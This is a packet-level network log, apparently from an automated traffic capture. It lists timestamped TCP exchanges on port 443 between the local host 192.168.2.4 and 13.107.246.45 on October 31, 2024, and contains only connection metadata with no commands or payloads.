Oct 31, 2024 07:15:24.100353003 CET	443	49879	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:24.100362062 CET	49879	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:24.100364923 CET	443	49879	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:24.102149010 CET	49883	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:24.102180958 CET	443	49883	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:24.102252960 CET	49883	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:24.102370024 CET	49883	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:24.102386951 CET	443	49883	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:24.120301008 CET	443	49878	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:24.120512962 CET	443	49878	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:24.120596886 CET	49878	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:24.120719910 CET	49878	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:24.120729923 CET	443	49878	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:24.120769024 CET	49878	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:24.120774031 CET	443	49878	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:24.122637987 CET	49884	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:24.122658968 CET	443	49884	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:24.123258114 CET	49884	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:24.123379946 CET	49884	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:24.123390913 CET	443	49884	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:24.156089067 CET	443	49880	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:24.156148911 CET	443	49880	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:24.156234980 CET	49880	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:24.156379938 CET	49880	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:24.156385899 CET	443	49880	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:24.156397104 CET	49880	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:24.156400919 CET	443	49880	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:24.158337116 CET	49885	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:24.158371925 CET	443	49885	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:24.158447981 CET	49885	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:24.158564091 CET	49885	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:24.158581018 CET	443	49885	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:24.198972940 CET	443	49881	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:24.199057102 CET	443	49881	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:24.199207067 CET	49881	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:24.199434042 CET	49881	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:24.199450016 CET	443	49881	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:24.199486971 CET	49881	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:24.199493885 CET	443	49881	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:24.209532976 CET	49886	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:24.209546089 CET	443	49886	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:24.209635019 CET	49886	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:24.209813118 CET	49886	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:24.209824085 CET	443	49886	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:24.823235989 CET	443	49882	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:24.823879004 CET	49882	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:24.823898077 CET	443	49882	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:24.824351072 CET	49882	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:24.824356079 CET	443	49882	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:24.836376905 CET	443	49883	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:24.836644888 CET	49883	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:24.836658955 CET	443	49883	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:24.837001085 CET	49883	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:24.837007046 CET	443	49883	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:24.858479023 CET	443	49884	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:24.859142065 CET	49884	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:24.859155893 CET	443	49884	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:24.859473944 CET	49884	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:24.859478951 CET	443	49884	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:24.883374929 CET	443	49885	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:24.883658886 CET	49885	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:24.883685112 CET	443	49885	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:24.883999109 CET	49885	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:24.884005070 CET	443	49885	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:24.941487074 CET	443	49886	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:24.943692923 CET	49886	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:24.943708897 CET	443	49886	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:24.944134951 CET	49886	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:24.944139004 CET	443	49886	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:24.962413073 CET	443	49882	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:24.962476015 CET	443	49882	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:24.962743044 CET	49882	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:24.962775946 CET	49882	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:24.962784052 CET	443	49882	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:24.962793112 CET	49882	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:24.962796926 CET	443	49882	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:24.965435982 CET	49887	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:24.965492010 CET	443	49887	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:24.965558052 CET	49887	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:24.965756893 CET	49887	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:24.965775967 CET	443	49887	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:24.966538906 CET	443	49883	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:24.966558933 CET	443	49883	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:24.966584921 CET	443	49883	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:24.966612101 CET	49883	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:24.966650963 CET	49883	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:24.966784954 CET	49883	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:24.966804028 CET	443	49883	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:24.966814041 CET	49883	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:24.966819048 CET	443	49883	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:24.968765974 CET	49888	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:24.968791962 CET	443	49888	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:24.968858957 CET	49888	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:24.968967915 CET	49888	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:24.968980074 CET	443	49888	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:24.988132000 CET	443	49884	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:24.988302946 CET	443	49884	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:24.988388062 CET	49884	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:24.988528967 CET	49884	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:24.988538027 CET	443	49884	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:24.988547087 CET	49884	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:24.988550901 CET	443	49884	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:24.990653038 CET	49889	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:24.990705013 CET	443	49889	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:24.990796089 CET	49889	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:24.990892887 CET	49889	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:24.990915060 CET	443	49889	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:25.012921095 CET	443	49885	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:25.012953043 CET	443	49885	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:25.012978077 CET	443	49885	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:25.013020992 CET	49885	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:25.013041973 CET	49885	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:25.013215065 CET	49885	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:25.013231993 CET	443	49885	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:25.013242006 CET	49885	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:25.013250113 CET	443	49885	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:25.015459061 CET	49890	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:25.015472889 CET	443	49890	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:25.015532017 CET	49890	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:25.015640974 CET	49890	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:25.015650988 CET	443	49890	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:25.070826054 CET	443	49886	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:25.070890903 CET	443	49886	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:25.070972919 CET	49886	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:25.071177959 CET	49886	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:25.071182966 CET	443	49886	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:25.071193933 CET	49886	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:25.071197987 CET	443	49886	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:25.073489904 CET	49891	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:25.073523998 CET	443	49891	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:25.073596954 CET	49891	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:25.073770046 CET	49891	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:25.073797941 CET	443	49891	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:25.695950031 CET	443	49888	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:25.696513891 CET	49888	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:25.696532011 CET	443	49888	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:25.697072029 CET	49888	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:25.697076082 CET	443	49888	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:25.699625015 CET	443	49887	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:25.699933052 CET	49887	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:25.699947119 CET	443	49887	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:25.700387001 CET	49887	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:25.700392962 CET	443	49887	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:25.732393026 CET	443	49889	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:25.732729912 CET	49889	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:25.732757092 CET	443	49889	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:25.733104944 CET	49889	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:25.733118057 CET	443	49889	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:25.734122992 CET	443	49890	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:25.734364986 CET	49890	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:25.734376907 CET	443	49890	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:25.734671116 CET	49890	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:25.734674931 CET	443	49890	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:25.799681902 CET	443	49891	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:25.800024033 CET	49891	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:25.800049067 CET	443	49891	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:25.800407887 CET	49891	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:25.800419092 CET	443	49891	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:25.825799942 CET	443	49888	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:25.825844049 CET	443	49888	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:25.825896025 CET	49888	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:25.826026917 CET	49888	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:25.826037884 CET	443	49888	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:25.826046944 CET	49888	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:25.826050997 CET	443	49888	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:25.828701019 CET	49892	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:25.828736067 CET	443	49892	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:25.828810930 CET	49892	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:25.828942060 CET	49892	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:25.828958988 CET	443	49892	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:25.829581976 CET	443	49887	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:25.829603910 CET	443	49887	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:25.829633951 CET	443	49887	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:25.829653978 CET	49887	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:25.829674959 CET	49887	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:25.829766035 CET	49887	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:25.829782009 CET	443	49887	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:25.829792023 CET	49887	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:25.829799891 CET	443	49887	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:25.831891060 CET	49893	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:25.831923962 CET	443	49893	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:25.831990957 CET	49893	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:25.832118988 CET	49893	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:25.832140923 CET	443	49893	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:25.860831022 CET	443	49889	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:25.860902071 CET	443	49889	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:25.860961914 CET	49889	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:25.860984087 CET	443	49889	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:25.861035109 CET	443	49889	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:25.861088991 CET	49889	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:25.861140013 CET	49889	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:25.861140013 CET	49889	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:25.861179113 CET	443	49889	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:25.861203909 CET	443	49889	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:25.861345053 CET	443	49890	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:25.861423969 CET	443	49890	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:25.861471891 CET	49890	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:25.861524105 CET	49890	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:25.861529112 CET	443	49890	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:25.861541986 CET	49890	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:25.861546993 CET	443	49890	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:25.863274097 CET	49894	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:25.863291025 CET	443	49894	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:25.863368034 CET	49894	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:25.863472939 CET	49894	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:25.863480091 CET	443	49894	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:25.863485098 CET	49895	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:25.863496065 CET	443	49895	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:25.863549948 CET	49895	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:25.863682985 CET	49895	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:25.863692999 CET	443	49895	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:25.931252003 CET	443	49891	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:25.931277037 CET	443	49891	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:25.931328058 CET	443	49891	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:25.931354046 CET	49891	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:25.931417942 CET	49891	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:25.931528091 CET	49891	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:25.931528091 CET	49891	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:25.931545019 CET	443	49891	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:25.931565046 CET	443	49891	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:25.933954000 CET	49896	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:25.933978081 CET	443	49896	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:25.934043884 CET	49896	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:25.934195042 CET	49896	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:25.934201956 CET	443	49896	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:26.547974110 CET	443	49892	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:26.551553965 CET	49892	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:26.551574945 CET	443	49892	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:26.551954985 CET	49892	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:26.551961899 CET	443	49892	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:26.597105026 CET	443	49893	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:26.597449064 CET	49893	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:26.597465992 CET	443	49893	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:26.597799063 CET	49893	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:26.597805023 CET	443	49893	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:26.608635902 CET	443	49894	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:26.611745119 CET	49894	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:26.611757994 CET	443	49894	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:26.612135887 CET	49894	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:26.612142086 CET	443	49894	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:26.629023075 CET	443	49895	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:26.631050110 CET	49895	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:26.631071091 CET	443	49895	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:26.631433010 CET	49895	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:26.631438017 CET	443	49895	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:26.679847002 CET	443	49896	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:26.680263996 CET	49896	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:26.680277109 CET	443	49896	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:26.680633068 CET	49896	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:26.680638075 CET	443	49896	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:26.732249022 CET	443	49893	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:26.732290030 CET	443	49893	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:26.732458115 CET	49893	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:26.732501030 CET	49893	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:26.732515097 CET	443	49893	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:26.732522964 CET	49893	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:26.732527971 CET	443	49893	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:26.734873056 CET	49897	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:26.734905958 CET	443	49897	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:26.734980106 CET	49897	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:26.735086918 CET	49897	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:26.735105038 CET	443	49897	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:26.741900921 CET	443	49894	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:26.742175102 CET	443	49894	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:26.742233038 CET	49894	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:26.742268085 CET	49894	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:26.742268085 CET	49894	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:26.742284060 CET	443	49894	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:26.742295980 CET	443	49894	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:26.743972063 CET	49898	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:26.743989944 CET	443	49898	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:26.744049072 CET	49898	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:26.744133949 CET	49898	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:26.744141102 CET	443	49898	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:26.746332884 CET	443	49892	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:26.746387959 CET	443	49892	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:26.746515989 CET	49892	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:26.746534109 CET	49892	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:26.746534109 CET	49892	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:26.746545076 CET	443	49892	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:26.746556044 CET	443	49892	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:26.748405933 CET	49899	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:26.748418093 CET	443	49899	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:26.748480082 CET	49899	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:26.748579979 CET	49899	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:26.748600960 CET	443	49899	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:26.765461922 CET	443	49895	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:26.765585899 CET	443	49895	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:26.765620947 CET	443	49895	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:26.765633106 CET	49895	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:26.765670061 CET	49895	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:26.765705109 CET	49895	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:26.765711069 CET	443	49895	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:26.765719891 CET	49895	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:26.765722990 CET	443	49895	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:26.767448902 CET	49900	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:26.767473936 CET	443	49900	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:26.767549038 CET	49900	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:26.767657995 CET	49900	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:26.767668962 CET	443	49900	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:26.811990976 CET	443	49896	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:26.812053919 CET	443	49896	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:26.812274933 CET	49896	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:26.812311888 CET	49896	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:26.812318087 CET	443	49896	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:26.812336922 CET	49896	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:26.812341928 CET	443	49896	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:26.814238071 CET	49901	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:26.814268112 CET	443	49901	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:26.814421892 CET	49901	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:26.814538956 CET	49901	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:26.814553976 CET	443	49901	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:28.268976927 CET	443	49901	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:28.269439936 CET	49901	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:28.269454956 CET	443	49901	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:28.269896030 CET	49901	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:28.269907951 CET	443	49901	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:28.274569988 CET	443	49899	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:28.275053024 CET	49899	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:28.275077105 CET	443	49899	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:28.275088072 CET	443	49900	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:28.275337934 CET	49900	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:28.275351048 CET	443	49900	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:28.275450945 CET	49899	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:28.275455952 CET	443	49899	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:28.275747061 CET	49900	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:28.275752068 CET	443	49900	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:28.276674986 CET	443	49898	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:28.276921988 CET	49898	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:28.276937962 CET	443	49898	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:28.277264118 CET	49898	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:28.277270079 CET	443	49898	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:28.277477980 CET	443	49897	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:28.277719021 CET	49897	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:28.277726889 CET	443	49897	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:28.278053045 CET	49897	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:28.278058052 CET	443	49897	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:28.395452023 CET	443	49901	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:28.395478010 CET	443	49901	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:28.395522118 CET	49901	443	192.168.2.4	13.107.246.45
